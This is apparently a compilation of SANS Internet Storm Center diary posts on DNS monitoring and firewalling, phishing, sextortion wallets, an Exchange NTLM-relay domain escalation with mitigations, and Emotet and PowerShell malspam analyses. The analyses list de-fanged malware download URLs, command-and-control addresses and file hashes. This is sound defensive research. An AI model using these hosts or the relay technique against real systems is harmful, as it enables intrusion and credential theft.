DNS is a key element of the Internet and, regularly, we read new bad stories. One of the last one was the Department of Homeland Security warning[1]  about recent DNS hijacking attacks[2]. Indeed, when you want to visit the website 'isc.sans.org', you must be sure that the visited server will be 204.51.94.153 and not a malicious one controlled by a malicious server. From an end-user point of view, we have to rely on the DNS. it’s not easy to detect unexpected changes but you can implement your own checks to tracks changes for your most visited websites. But from a website owner or network admin perspective, it is indeed a good practice to ensure that DNS servers authoritative for our domain zones are providing the correct information. At the Internet Storm Center, we must be sure that any request to resolve 'isc.sans.org' will always return the right IP address! 

To monitor DNS records for unexpected changes, you can use some plugins available in Nagios[3] (or any compatible tool like Icinga). You don't need to install a complete Nagios instance, just the plugins. The one that is interesting is 'check_dns'. It can check if the returned IP address for a FQDN is the expected one. We can also check if the DNS we used is authoritative for a zone:

$ ./check_dns -H isc.sans.org -s 8.8.8.8 --expected-address=11.22.33.44
DNS CRITICAL - expected '11.22.33.44' but got '204.51.94.153'
$ ./check_dns -H isc.sans.org -s 8.8.8.8 --expected-address=204.51.94.153
DNS OK: 0.141 seconds response time. isc.sans.org returns 204.51.94.153|time=0.141161s;;;0.000000
$ ./check_dns -H isc.sans.org -s 8.8.8.8 --expect-authority
DNS CRITICAL - server 8.8.8.8 is not authoritative for isc.sans.org

But monitoring single DNS entries is complex because you may have thousands of records in a single zone. If you DNS is changed, the SOA[4] record (or 'State of Authority') will be changed (at least the serial number). 

Here is the current SOA record of the zone sans.org:

$ host -t soa sans.org
sans.org has SOA record dns21a.sans.org. hostmaster.sans.org. 2019012901 7200 900 1814400 3600

A best practice is to keep the serial number format like this: YYYYMMDDNN (where ’NN’ is the number of change performed this day). If somebody has access to the zone and modifies it, the serial MUST be upgraded to let know to other DNS servers that the zone changed. How to monitor this?

First, we can use simple Bash commands. We get the SOA record, hash it, store the new hash and compare it with the previous one.

$ [ `host -t soa sans.edu | sha256sum | awk '{ print $1 }' | tee hash.txt.new` == `cat hash.txt 2>/dev/null || echo __undefined__` ] || \
    echo "SOA record changed"; \
    mv hash.txt.new hash.txt
SOA record changed

This command can be executed at regular interval via a cron job.

Easy but not very convenient. The next idea is to use OSSEEC[5] (yes, I love this tool!). OSSEC can monitor regular log files but it can also monitor the output of commands and make a 'diff' of the output between two runs. Let’s check the SOA record of sans.org:

Let’s define a new “log file” of type “command”:

<localfile>
  <log_format>full_command</log_format>
  <frequency>60</frequency>
  <command>host -t soa sans.org</command>
</localfile>

And create the corresponding alert:

<rule id=“10001" level="7">
  <match>ossec: output: ‘host -t soa sans.org'</match>
  <check_diff />
  <description>SOA record changed in zone sans.org.</description>
</rule>

Based on this alert, any change in the SOA record will be logged and injected into your regular alerting process (email notification, forward to a SIEM, etc).

Those techniques can be used to detected suspicious change into a DNS zone via a compromized admin account or a badly protected name server but they do NOT protect against other attacks like cache poisoning of a specific DNS server! And you? Do you have other techniques to keep an eye on your DNS zones? 

[1] https://cyber.dhs.gov/assets/report/ed-19-01.pdf
[2] https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
[3] https://www.nagios.org/
[4] https://en.wikipedia.org/wiki/SOA_record
[5] http://www.ossec.net

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

As I scrolled through my Twitter feed this evening, I came across a recommendation from @rob_schmitz, NPR's Shanghai correspondent, who recommended "not to just read stories/press releases about Huawei's tech theft, but to read, in full, the DOJ indictment. The evidence is abundant and clear that Huawei rewarded employees for stealing technology and has been covering it up for years." So in case you thought all the furor over Huawei's behavior was hype or exagerated, let me compel you to read the indictment per Rob's recommendation. This particular fiasco hits really close to home for me, as the United States District Court for the Western District of Washington is across the lake in Seattle, and T-Mobile, employer to friends and colleagues, is right in Bellevue, literally the next town over from where I both work and live. Here's the abstract of the ten counts filed: between June 2012 and September 2014, Huawei, and others unknown, consprired to steal trade secrets (Count 1), attempted to steal trade secrets (Count 2), committed seven counts of wire fraud (Counts 3-9), and  obstructed justice (Count 10), in a campaign against T-Mobile. The indictment reads like a novel, and covers Huawei's not-so-covert efforts to steal Tappy, T-Mobile's robotic phone testing system in order to expedite the development of their own related product. 

Grab a preferred beverage, a bag of popcorn, and take Rob's advice, read the indictment: https://www.justice.gov/opa/press-release/file/1124996/download. I'll keep opinions to myself and let you form your own, as well as let justice follow its due course, but allow me this one Captain Obvious moment: if you have something they want, they will attempt and/or succeed at stealing it. To believe otherwise is shortsighted and foolish, this is just yet another of a plethora of examples over these past many years. And it's not going to get better. 

Russ McRee | @holisticinfosec

I got a little bit a better done Phish this morning:

Initially, I was interested in this because it looks like some of the other real estate related phishing/Business Email Compromise attacks I have seen in the past. The goal is to usually get a victims email credentials to later inject emails with fraudulent wire instructions. Many million dollars have been lost in these attacks in the past. I found it interesting that the attacker specifically requested to verify wire instructions via the phone.

So what do you do with a phishing email:

(1) Click on the link of course

The link itself led to hxxps:// 1drv.ms /b/s!Ajbc-YlY0yFbdwRk1MlFeXtt4YU . "1drv.ms" is actually a legitimate Microsoft owned domain and used as a short link for OneDrive documents. Sure enough, I ended up at a legitimate OneDrive URL. But the document displayed asked me to click again:

So the next step would be to give the attacker my "honey password". Sadly, I didn't get to this part because the attacker didn't anticipate victims using IPv6. The blocklist the attacker uses to exclude researchers is only considering IPv4, and errors out on IPv6.

This is actually a pretty major oversight. Considering that this attack probably targets home users and also would get good results from mobile users. According to Google [1], about 30 % of these requests will come via IPv6 for users in the US.

 

[1] https://www.google.com/intl/en/ipv6/statistics.html#tab=per-country-ipv6-adoption

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

About a week ago a very interesting proof of concept tool and blog post were published by security researcher Dirk-jan Mollema (@_dirkjan), which you can read at here.

Now folks, this is HUGE. Extremely huge. If you are running Exchange make sure that you read this diary and the original blog.

Basically, the PoC tool exploits the fact that Exchange servers have very high privileges in Active Directory domains – the WriteDacl privilege that allows them to change domain privileges. Exchange servers are part of the Exchange Trusted Subsystem group, which is further included in the Exchange Windows Permissions group which has this critical privilege enabled.

The issue is in Exchange Web Services (EWS) PushSubscription service, specifically PushSubscriptionRequest method that allows a user to subscribe for push events. The user specifies the location of the client Web service for push notifications. In other words, once an event happens, the Exchange server will connect to the URL specified in the call to the PushSubscriptionRequest method. 

Now, once a subscription has been created, relaying is the final step. The Exchange server will now try to connect to the attacker’s machine (the URL specified in the subscription) and will happily pass NTLM credentials. These can be then relayed to a Domain Controller (provided there is no SMB signing – see below for mitigations). Dirk-jan’s exploit relays the credentials to LDAP in order to escalate a user’s privilege: it adds the Replication-Get-Changes-All privilege to an account effectively allowing that account to perform any actions on the domain, including dumping all passwords from a Domain Controller by performing DCSync. With hashes of all users, the attacker can further impersonate any other user and takeover the complete domain.

Running the exploit is very simple - once the subscription is created, Exchange connects to the supplied URL as shown in the figure below:

Now, the biggest issue here is that this works with the latest version of Exchange, fully patched. Various versions are listed on the original blog, I tested with a fully patched version of Exchange 2016. Note that the deletion of registry key as specified in Microsoft’s advisory for CVE-2018-8581 does not fix this vulnerability! It prevents a malicious user from impersonating another user on the Exchange server, but not on a Domain Controller, through LDAP. Additionally, I have installed patches on an Exchange 2016 servers, and the registry key was not removed (even though Microsoft’s advisory says that they will remove it).

The best mitigation options as far as we are aware of are the following:

• First, if you do not use EWS push/pull subscriptions disable them (see here by @gentilkiwi),
• Additionally, use an internal firewall to prevent Exchange from connecting to your workstations – typically workstations should connect to Exchange, not the opposite. This does not prevent the exploit (an attacker can find a different server that Exchange can connect to), but makes exploitation a bit more difficult.
• Enable SMB and LDAP signing.
• Remove high privileges that Exchange has on the Domain object.

   

Of course, be very careful when modifying any of the settings above to make sure that you will not break your Exchange deployments.

Finally, the exploit does not work on Exchange 2010 which has signing enabled by default, but this setting does not exist in Exchange 2013, 2016 or 2019. Go figure :/

UPDATE 1:

Here's a bit more information about detection of the vulnerability:

• Regarding vulnerable servers, Exchange 2013, 2016 and 2019 have been confirmed as vulnerable. The screenshot above from my test was with a fully patched Exchange 2016.
• Exchange 2010 appears not to be vulnerable - it will send the request to the subscribed URL, but due to signing you should not be able to relay it.
• Exchange 2007 is unknown at this time, although it appears to have the required methods (PushSubscriptionRequest) so it might be vulnerable. If you manage to test it, let us know.
• The best way to check if the vulnerability has been abused against you is to monitor for network logon events on your domain controllers. This is what you'll be looking for:
  • EventCode=4624
  • LogonType=3
  • Authentication Package=NTLM
  • Account Name = YOUREXCHANGESERVER$
• By looking for events above you'll be able to detect NTLM relay attacks where Exchange server's credentials were used. The Source Network Address field will show the IP address of the attacker (where the ntlmrelayx / impacket was running).
• There is another good event (thanks to Davy for sending this), 5136. This event will show when the DACL was modified, but it will have the target account's SID only so you can't search by name.

Thanks to all readers for great and useful comments.

We’ll continue researching the issue – if you have any new or information to share - let us know!

--
Bojan
@bojanz
INFIGO IS

It has been five years since I published my first Diary at the SANS Internet Storm Center on the topic of getting more involved in your local community. Now that January is almost over and those new year resolutions you made last month may or may not still be in place, I want to give you a few ideas that can ease your guilt and also serve as a catalyst to help your local community as well.

I serve on the board of a local non-profit organization that has many opportunities to volunteer. I decided to help by offering my technology and information security knowledge to them. I found that this benefits me because it allows me to assess their technology and security needs and provide them with relevant advice. I found the organization benefits by being exposed to ideas and best practices that they might otherwise not be able to afford. I discovered that the act of adding an appointment on my calendar helps me to plan this work. It also helps me to look forward to my time by intentionally collecting questions and ideas in advance of our next meeting.

Why does this matter? I am confident that you will not only feel good about yourself but also stretch yourself by being just a little more comfortable at being uncomfortable. The beneficiary of your expertise will also benefit by learning from what you already know and considering what it would look like to level up their information security posture. You can become more engaged in their local security community by being intentional about scheduling time to serve them. Developing this habit will ensure you are not only a consumer but a participant as well.

What one thing can you add to your calendar right now that will help both you and another organization?

In diary entry "Analyzing Encrypted Malicious Office Documents", I analyze a reader-submitted encrypted, malicious document with a convenience tool I developed to decrypt Office documents: msoffcrypto-crack.py.

In this video, I show the different features of this tool:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

One of the interesting/horrifying things I see as part of my work in Domain Generation Algorithms is the horrifying things people do to their zone files and bizarre DNS server implementations out there. DNS as a protocol has been around a long time and its core to how the Internet works. As such, every update to DNS servers have included backwards compatibility that have left some inefficiencies and gaps that the community is seeking to close. Accordingly, on 1 February 2019, they announced DNS Flag Day. That will be the day for a coordinated release of DNS software to remove support for incompatible implentations of DNS server software that are still operating out there (and often causing problems).

This means for every organizations, the need to verify if their domain and authoritative DNS resolver are prepared for the change. The website linked above has a rudimentary testing script where you enter your domain and it tells you if your domain is supported and good to go.

If not, you'll need to update your auth DNS server to a modern version to accomodate these changes. If you operate your own recursive resolver, you don't need to do anything, but if you do use the following modern versions of DNS resolvers, you will no longer support those incompatible name servers:

• BIND 9.13.3 (development) and 9.14.0 (production)
• Knot Resolver has already implemented stricter EDNS handling in all current versions
• PowerDNS Recursor 4.2.0
• Unbound 1.9.0

TL;DR check out https://dnsflagday.net to ensure your domain is ready and if not, update your nameservers or you will see your infrastructure start to go dark.

--
John Bambenek
bambenek \at\ gmail /dot/ com
ThreatSTOP

Introduction

On Wednesday 2019-01-23 I ran across several hundred items from a wave of malicious spam (malspam).  These emails had an attached Word document with malicious macro code.  Opening the attached Word document and enabling macros would infect a vulnerable Windows host.

The macro code in these Word documents uses Powershell to run a script retrieved from 162.244.32[.]180.  This script is designed to steal system information and other sensitive data, sending it back to 162.244.32[.]180.

There is no mechanism for persistence.  This infection did not survive a reboot or even logging out of an infected user's account.

Today's diary examines the emails and associated infection traffic from this wave of malspam seen on Wednesday 2019-01-23.

Shown above:  Flow chart for infection traffic from this malspam.

The emails

Emails from this wave of malspam used a fake invoice or payment document.  A typical example is shown in the image below.

Shown above:  Example of an email from this wave of malspam.

The infection

Opening the Word document and enabling macros on an infected host ran Windows Powershell on a Windows 7 host in my lab.  This script initially generated an HTTPS traffic to 162.244.32[.]180 ending with ".png" for the URL.  Network traffic generated by this infection did not generate any alerts for me.  However, certificate data for the HTTPS traffic was unusual.  Someone used "WW" for all of the fields to identify the certificate issuer.

Shown above:  Process Hacker displaying information on Powershell activity generated by the Word macro.

Shown above: Using Fiddler to decrypt HTTPS traffic from this infection and review the contents.

Shown above:  Reviewing the infection traffic in Wireshark compared to reviewing it in Fiddler.

Shown above:  Using Wireshark to review certificate data for HTTPS traffic from 162.244.32[.]180.

Base64 strings from the Powershell script

I noticed two very long base64 strings in the script returned from hxxps://162.244.32[.]180/[seven random letters].png.  Decoding these base64 strings revealed two files.  One was a gzip archive that contained a DLL file (tools.dll) run from system RAM.  The other file was text-based script that gathered information from the system, including data from Microsoft Outlook profiles.

Shown above:  tools.dll extracted from base64 code, run from system RAM during this infection.

Shown above:  Script extracted from base64 code used during this infection. 

Indicators of Compromise (IoCs)

The following are indicators for emails from this wave of malspam.  Any malicious URLs, IP addresses, and domain names have been "de-fanged" to avoid issues when viewing today's diary. 

Date/time of the emails:

• Wednesday 2019-01-23 as early as 09:50 UTC through at least 11:40 UTC

Subject lines:

• Customer's service complaint
• Immediate payment requested

Senders:

• Various email addresses, probably spoofed

Attachment names:

• complaint (1).doc
• complaint (2).doc
• complaint (3).doc
• complaint (4).doc
• complaint (5).doc
• complaint (6).doc
• complaint (7).doc
• complaint (8).doc
• complaint (9).doc
• complaint (10).doc
• complaint (11).doc
• invoice (1).doc
• invoice (2).doc
• invoice (3).doc
• invoice (4).doc
• invoice (5).doc
• invoice (6).doc
• invoice (7).doc
• invoice (8).doc
• invoice (9).doc
• invoice (10).doc
• invoice (11).doc
• statement (1).doc
• statement (2).doc
• statement (3).doc
• statement (4).doc
• statement (5).doc
• statement (6).doc
• statement (7).doc
• statement (8).doc
• statement (9).doc
• statement (10).doc
• statement (11).doc

7 examples of SHA256 hashes for these attached Word documents:

• 11278815976d7edecafd48f797d435e65531bb83c1db042b101dea3ae2b87f50
• 3c083c16bf33dea14839966fda600f874b708ef5c99f794bf40fe00f5d73a418
• 3f1a87bc9b8e030fd17dff3d34168c789e0a4e6a695053895f736da86cf771cc
• 8603cce1fb90cd06931434c5a6972a6eba8587b60ed73b9e6e6e51fd75a28830
• b66d39ada0b1f0d9adf97af1823621123b805d05be8da6fdeee199fbdf786427
• c538348b212c7a60eec96cdce1293ff3bc8403af0928049b4fb1b1500e0fb7d5
• d4891169ae890a0311520a9977f418769402e2f011ac091cceb525f58874e27e

Powershell command after enabling macros on Word document (de-fanged):

SHA256 hash of malicious script returned from hxxps://162.244.32[.]180/[seven random letters].png caused by the above powershell command:

• 62a7423f2ac8d80caa35fc3613b0cc6e01b22a7cb5e898176f4f42c3cf9f20be

SHA256 hash of gzip archive from base64 string in above Powershell script:

• bafa32182121eebde5eb283c80f7d6fc7002b230d5be384f3c83a68167b5f7bd

SHA256 hash of DLL file (tools.dll) extracted from the above gzip archive:

• 7c3681b5aa47d913c4cc8662be9a1f6609d5cf3d484bd38c9293cf69bc1d10d4

SHA256 hash of more script from base64 string in the above Powershell script:

• 94fa70b0883e182b1e0656f2ea9d6e41adede81d32dc468b740c5279a34474b5

Example of HTTPS infection traffic (de-fanged):

• hxxps://162.244.32[.]180/pxnbtoe.png   (the seven letters before .png are random)
• hxxps://162.244.32[.]180/uv/gu/4ibbkjgfixch/ymb2qkc0gf0ie/gs0o0bruw1qqk/vum2ecvndhbavliy.asp
• hxxps://162.244.32[.]180/fe/h0w5nnccuatuafe3pei0v4/nt/2mb5/qh5la52bx2ybhrx5waj2n53qcpdm.asp
• hxxps://162.244.32[.]180/zvnkwicjiwu/f/incqe2b0ap34geojl5s0d/0kp2wyysvhumgevj3dbrfkpiy.jpg
• hxxps://162.244.32[.]180//r2mdgaila2yhk/3qsx2/roe5jgcbpnozt1/ltlgm4s005l/wowwx03tvvv4xm2.jpg
• hxxps://162.244.32[.]180/binmgseoax/adz2yqj3vwo54wlhn3lfrs1hkjmm450uts3x4ve2xn5vjhfy.jpg
• hxxps://162.244.32[.]180/binmgseoax/adz2yqj3vwo54wlhn3lfrs1hkjmm450uts3x4ve2xn5vjhfy.jpg

HTTPS/SSL/TLS certificate issuer data from 162.244.32[.]180:

• id-at-countryName=WW
• id-at-stateOrProvinceName=WW
• id-at-localityName=WW
• id-at-organizationName=WW
• id-at-organizationalUnitName=WW
• id-at-commonName=WW
• pkcs-9-at-emailAddress=WW@WW.COM

Final words

Pcap and malware/artifacts associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

If IOC’s are very useful to “detect” suspicious activities, why not use also them to “prevent” them to occur? DNS firewalling can be an efficient way to prevent your users to visit malicious online resources. The principle of DNS firewalling is not new, it is used for a long time to fight against spammers. Services lile SpamHaus[1] provide RPZ feeds. RPZ means “Response Policy Zone” and the principle is to allow a nameserver to reply with an alternate responses to some clients queries.

Based on the fact that users (or malware) use DNS to access malicious resources, why not  configure your DNS resolver to prevent the resolution of domains used for such purposes? But be careful, playing with DNS can have huge impacts on your users or your production systems. That’s why it is mandatory to reduce the risk of false positive alerts! That’s why I prefer to rely on my local source of domains than public resources. Why not use MISP[2] in this case? MISP is the perfect tool to share malware informations and the application allows you to implement sufficient granularity to export only relevant information that YOU control. Examples:

• IOC’s can be tagged with a ’to_ids’ flag
• IOC’s can be tagged with relevant flags
• IOC’s can be filtered against warning list to prevent export of sensitive information like the Alexa top-1M and many more

The implementation is simple. Let’s assume that you already have your own bind resolver installed in /etc/named.

The first step is to generate a RPZ file with our malicious domains. I wrote a quick script to automate this:

# cat -n /usr/local/bin/misp-rpz-export.sh
     1  #!/bin/bash
     2  RPZFILE=/etc/bind/misp.rpz
     3  curl \
     4   -s \
     5   -o $RPZFILE.new \
     6   -d '{"returnFormat":"rpz","last":"30d","to_ids":1}' \
     7   -H "Authorization: <redacted>" \
     8   -H "Accept: application/json" \
     9   -H "Content-type: application/json" \
    10   -X POST https://<redacted>/attributes/restSearch \
    11  && ( for i in {9..0}
    12          do
    13                  mv $RPZFILE.$i $RPZFILE.$((i+1)) 2>/dev/null
    14          done
    15          mv $RPZFILE $RPZFILE.0 2>/dev/null
    16          mv $RPZFILE.new $RPZFILE
    17  ) \
    18  && /usr/sbin/rndc reload

This script exports RPZ data using the MISP REST API, it rotates the file to keep an history (10 backups) and ask bind to reload its configuration.

The generate zone file must be a primary zone in our bind configuration:

zone "misp.rpz" {
        type master;
        file "/etc/bind/misp.rpz";
};

Now define the response policy:

options {
        response-policy {
                zone "misp.rpz" policy cname malicious-domain-detected.<redacted>;
        };
};

For all domains present in the RPZ file, we ask bind to use the CNAME malicious-domain-detected.<redacted>. It’s up to you to decide the action to take. You could resolve this CNAME to 127.0.0.1 or create a virtual host with a default page with detailed information to your users (why they have been blocked).

Of course, we need to track malicious activities. It’s a good idea to generate a new log file:

logging {
    channel rpz_log {
                file "/mnt/named/rpz.log" versions 4 size 100m;
                severity info;
                print-category yes;
                print-severity yes;
                print-time yes;
        };
        category rpz { rpz_log; };
}

Reload bind and let’s test:

# host financialtimesguru.com
financialtimesguru.com is an alias for malicious-domain-detected.<redacted>.
malicious-domain-detected.<redacted>is an alias for malicious-domain-detected.<redacted>.
malicious-domain-detected.<redacted> has address 127.0.0.1

Note that, in another setup, I'm replying to the suspicious DNS requests with the IP address of a DShield honeypot to capture the interesting HTTP traffic. In this case, you can mix protection and hunting!

[1] https://www.spamhaus.org/
[2] https://www.misp-project.org/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Reader Vinnie noticed following suspicious GET request directed at his web server:

My first idea was an attempt to abuse his web server as a proxy, or log SPAM.

Vinnie executed this request (hxxp://189[.]40[.]40[.]159:7771/u9licfgnx56ryp0jfdmis6s3hez4wij), and got text back:

171886eb9748eb13fc7548e018bf5b70jA0ECQMCkTJtXpMYj4b00ukBAU2wE+cAc+fGlL16GWLH6RAVc2yShs37UlBBj2cDX3s7FLGSshr...

I was able to make some sense of this: the first 32 characters are hexadecimal digits, and the rest is BASE64. That BASE64 string decodes to binary data that starts with the magic header for "GPG symmetrically encrypted data (AES256 cipher)": "8C 0D 04 09 03 02".

The data has a high entropy:

That's as far as I got.

We don't know if the server replying with this data is under the control of the attacker, or not. It could be an "innocent bystander".

Do you have any idea what this might be about, or what the data is? Please post a comment!

We're not asking to interact with this server, there's no need. We want to know if you have ideas about the request type or returned data. Should you still decide to interact with this server, be careful. We don't recommend it, we don't know what this server is or does. Don't do anything that might be considered hostile and don't do anything illegal.

If you want a second example of data, take a look at Shodan's report: https://www.shodan.io/host/189.40.40.159

Please post a comment, thanks!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

We've gotten a few reports of the latest round of sextortion emails demanding bitcoin in exchange for deleting incriminating videos. These emails and wallets have piled up for some time. Usually the criminal doesn't move the bitcoin immediately, so checking the bitcoin wallet isn't helpful. But a week or so after such emails are sent, it becomes possible to see what miscreants are doing with their ill-gotten gains. So for this, I took an e-mail I received on Jan 8th, "Your account is being used by another person" that listed bitcoin wallet 1GjZSJnpU4AfTS8vmre6rx7eQgeMUq8VYr as the place to send money to protect "my little secret".

The first thing to realize about bitcoin is that you have good enough anonymity... as long as you stay in the blockchain. Bitcoin is very decentralized. What isn't at all decentralized is the places where you can turn your fake anarchist digital money into real money. So they key in these kind of investigations is to find what they do with their cryptocurrency to get investigative leads. Sometimes those leads involve finding wallets that are discussed publicly or on forums (i.e. how I track neonazi cryptocurrency online), sometimes it could be just finding where to send the subpoena.

With the wallet above, it has earned about $12,000 for spamming planet earth with these extortion threats. The wallet itself is part of a cluster of 5 addresses, all linked to similar scams (17YKd1iJBxu616JEVo15PsXvk1mnQyEFVt, 18Pt4B7Rz7Wf491FGQHPsfDeKRqnkyrMo6, 1G1qFoadiDxa7zTvppSMJhJi63tNUL3cy7, 1PH5CYMeD4ZLTZ2ZYnGLFmQRjnptyLNqcf) which you can research at Bitcoin abuse which is making tracking this much easier.

There are lots of tentacles of where these coins end up. Some end up cashed out at LocalBitcoins.com but the intrigued transaction happened yesterday with an approximately $12,000 transaction into a Binance wallet (transaction here).

The inputs to these criminals are commodity bitcoin exchanges as well, and it might be helpful if those reputable exchanges simply prohibit any transaction with these wallets. That said, knowing where the money is coming out provides leads to investigations looking to bring these actors to justice.  I've been estimating these scams are making about $100,000 a week or so, but much more work needs to be done to aggregate all the abusive wallets and then attribute them to specific actors or groups.

If you see these scams, please report them to BitcoinAbuse.com to allow researchers and investigators to have that data for more correlation.

--
John Bambenek
bambenek \at\ gmail /dot/ com
ThreatSTOP

Introduction

Three major campaigns using malicious spam (malspam) to distribute malware stopped sending malspam before Christmas-sometime during the week ending on Sunday 2018-12-23.  These three campaigns are Emotet (also known as Feodo), Hancitor (also known as Chanitor or Tordal), and Trickbot.  But this week, all three campaigns have been sending out malspam again.

Among these campaigns, Emotet is by far the most active.  Dozens of indicators are discovered every day as vectors for Emotet infections.  Emotet also acts a distributor for other families of malware.  So far in 2019, I’ve seen Emotet retrieve Gootkit and the IcedID banking Trojan.  As 2019 progresses, I expect to find examples of Emotet distributing other families of malware like Qakbot and Trickbot, something we saw in 2018.

Today’s diary examines recent Emotet malspam and two examples of infection traffic from Tuesday 2019-01-15.

Shown above:  Chain of events for Emotet malware distribution seen so far this year.

The malspam

As usual, emails pushing Emotet use Microsoft Word documents with malicious macros.  On vulnerable Windows hosts, opening these documents in Microsoft Word and enabling macros will attempt an Emotet infection.  So far this week, Emotet malspam had a link to download the Word document, or it’s had a Word document directly attached to the email.  See the images below for examples.

Shown above:  Screenshot 1 of 3 - Emotet malspam with link for Word doc from Tuesday 2019-01-15.

Shown above:  Screenshot 2 of 3 - Emotet malspam with link for Word doc from Tuesday 2019-01-15.

Shown above:  Screenshot 3 of 3 - Emotet malspam with attached Word doc from Monday 2019-01-14.

Shown above:  Example of Word document with macro to infect a vulnerable Windows host with Emotet.

The traffic

Network traffic is typical for what we’ve seen with recent Emotet infections from December 2018.  Emotet frequently uses HTTP traffic over non-standard TCP ports (not TCP port 80).  This may cause issues when reviewing the infection traffic in Wireshark.  Traffic on ports like TCP port 53 (associated with DNS activity like zone transfers) and TCP port 22 (normally associated with SSH) may not be decoded as HTTP in Wireshark.  That was the case with two examples of infection traffic I generated on Monday.

Post-infection activity from the first run included Gootkit, which had similar in traffic patterns that I’ve previously documented.  Post-infection activity from the second run included IcedID (also known as Bokbot), something I’ve also documented.

Indicators of Compromise (IoCs)

The following are indicators from two infections on Tuesday 2019-01-15.  Any malicious URLs, IP addresses, and domain names have been “de-fanged” to avoid issues when viewing today’s diary.

Malware from the first run:

SHA256 hash: 2b8c45af81889ce22ffaf3a78d79a307ce3ab4ebeabbd00bc5982d60a89a2c87

• File size: 158,208 bytes
• File location: hxxp://mdmshipping[.]org/wp-content/uploads/Clients_transactions/012019/
• File name: 190115_invoice.doc
• File description: Downloaded Word doc with macro for Emotet

SHA256 hash: 4cb1c0ce3de256e671b096729ae35b65b5f4ac67fe0ca9bbdc27e84aaf25a4d3

• File size: 151,552 bytes
• File location: hxxp://www.al-bay[.]com/JbDEG76/
• File location: C:\Users\[username]\AppData\Local\tablesvcs\tablesvcs.exe
• File description: Emotet executable retrieved by Word macro

SHA256 hash: e1f60b891005dfd0f6738444406c8e57d644cc3ce0154f8d17454c886637dfbd

• File size: 151,552 bytes
• File location: C:\Users\[username]\AppData\Local\tablesvcs\tablesvcs.exe
• File description: Emotet executable updated after initial infection

SHA256 hash: 9fd057d99bad388e08f3d71c1d78e90b308e0eb656ecaec88cd70d31f723118e

• File size: 315,392 bytes
• File location: C:\ProgramData\7gYMH.exe
• File description: Gootkit executable retrieved by my Emotet-infected host

Malware from the second run:

SHA256 hash: abd3942b115eef97d1dca7bbc05022689ee78090b02fb930d202148b9218323c

• File size: 153,088 bytes
• File location: hxxp://ciblage-spain[.]es/Transactions/01_19/
• File name: 012019_INV_0049.doc
• File description: Downloaded Word doc with macro for Emotet

SHA256 hash: a2d4ccd13954f43ab541b10f879f0d8b5fcf4fa24fffa1b08444bd2313242a78

• File size: 155,648 bytes
• File location: hxxp://starbilisim[.]net/umEgLOOKUD/
• File location: C:\Users\[username]\AppData\Local\pesicy\pesicy.exe
• File description: Emotet executable retrieved by Word macro

SHA256 hash: e1f60b891005dfd0f6738444406c8e57d644cc3ce0154f8d17454c886637dfbd

• File size: 151,552 bytes
• File location: C:\Users\[username]\AppData\Local\pesicy\pesicy.exe
• File description: Emotet executable updated after initial infection

SHA256 hash: 4f519a9e1df4558336263f398c44796cb412e7ef56d3290f0f12b422eb325730

• File size: 275,456 bytes
• File location: C:\ProgramData\35YXoiR.exe
• File description: IcedID executable retrieved by my Emotet-infected host

SHA256 hash: 92352a5a9e473c8939e3a609253f65d3afaa392f872134ba73c3972d2c5e4830

• File size: 275,456 bytes
• File location: C:\ProgramData\{A2EE4104-C104-4A1F-9FCE-D86635165D72}\floflbjnc.exe
• File description: IcedID executable made persistent on my Emotet-infected host

Emotet Infection traffic from the first run:

• 92.222.210[.]16 port 80 - mdmshipping[.]org - GET /wp-content/uploads/Clients_transactions/012019/
• 149.255.58[.]108 port 80 - www.al-bay[.]com - GET /JbDEG76
• 149.255.58[.]108 port 80 - www.al-bay[.]com - GET /JbDEG76/
• 189.146.157[.]111 port 20 - Attempted TCP connections (no response from the server)
• 216.244.228[.]62 port 53 - 216.244.228[.]62:53 - GET /
• 187.163.177[.]194 port 22 - Attempted TCP connections (no response from the server)
• 181.164.8[.]8 port 22 - 181.164.8[.]8:22 - GET /
• 189.129.134[.]124 port 20 - Attempted TCP connections (no response from the server)
• 189.225.146[.]180 port 8443 - 189.225.146[.]180:8443 - GET /

Gootkit infection traffic from the first run:

• 66.23.200[.]58 port 443 - mid.centralcoastbagels[.]com - HTTPS/SSL/TLS traffic
• DNS query for loredanusos[.]com - response: No such name
• DNS query for bigiterra[.]com - response: No such name
• DNS query for getlowfast[.]com - response: No such name

Emotet infection traffic from the second run:

• 87.98.154[.]146 port 80 - ciblage-spain[.]es - GET /Transactions/01_19
• 87.98.154[.]146 port 80 - ciblage-spain[.]es - GET /Transactions/01_19/
• 149.255.58[.]108 port 80 - www.al-bay[.]com - GET /JbDEG76
• 149.255.58[.]108 port 80 - www.al-bay[.]com - GET /cgi-sys/suspendedpage.cgi
• 159.253.42[.]200 port 80 - starbilisim[.]net - GET /umEgLOOKUD
• 159.253.42[.]200 port 80 - starbilisim[.]net - GET /umEgLOOKUD/
• 187.163.177[.]194 port 22 - Attempted TCP connections (no response from the server)
• 181.164.8[.]8 port 22 - 181.164.8[.]8:22 - GET /
• 189.129.134[.]124 port 20 - Attempted TCP connections (no response from the server)
• 189.225.146[.]180 port 8443 - Attempted TCP connections (no response from the server)
• 66.50.57[.]73 port 8080 - 66.50.57[.]73:8080 - GET /
• 186.15.66[.]98 port 443 - 186.15.66[.]98:443 - GET /
• 181.211.11[.]171 port 443 - 181.211.11[.]171:443 - GET /

IcedID infection traffic from the second run:

• 185.223.163[.]26 port 443 - kepleted[.]pw - HTTPS/SSL/TLS traffic
• 194.165.3[.]3 port 80 - bestcontrol[.]at - GET /data2.php?45DD8E695E0FFFAB
• 185.223.163[.]26 port 443 - stronour[.]host - HTTPS/SSL/TLS traffic
• 194.165.3[.]3 port 443 - bestcontrol[.]at - HTTPS/SSL/TLS traffic
• 194.165.3[.]3 port 443 - exeterol[.]host - HTTPS/SSL/TLS traffic
• 194.165.3[.]3 port 443 - decretery[.]host - HTTPS/SSL/TLS traffic

Final words

Pcaps of the infection traffic and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

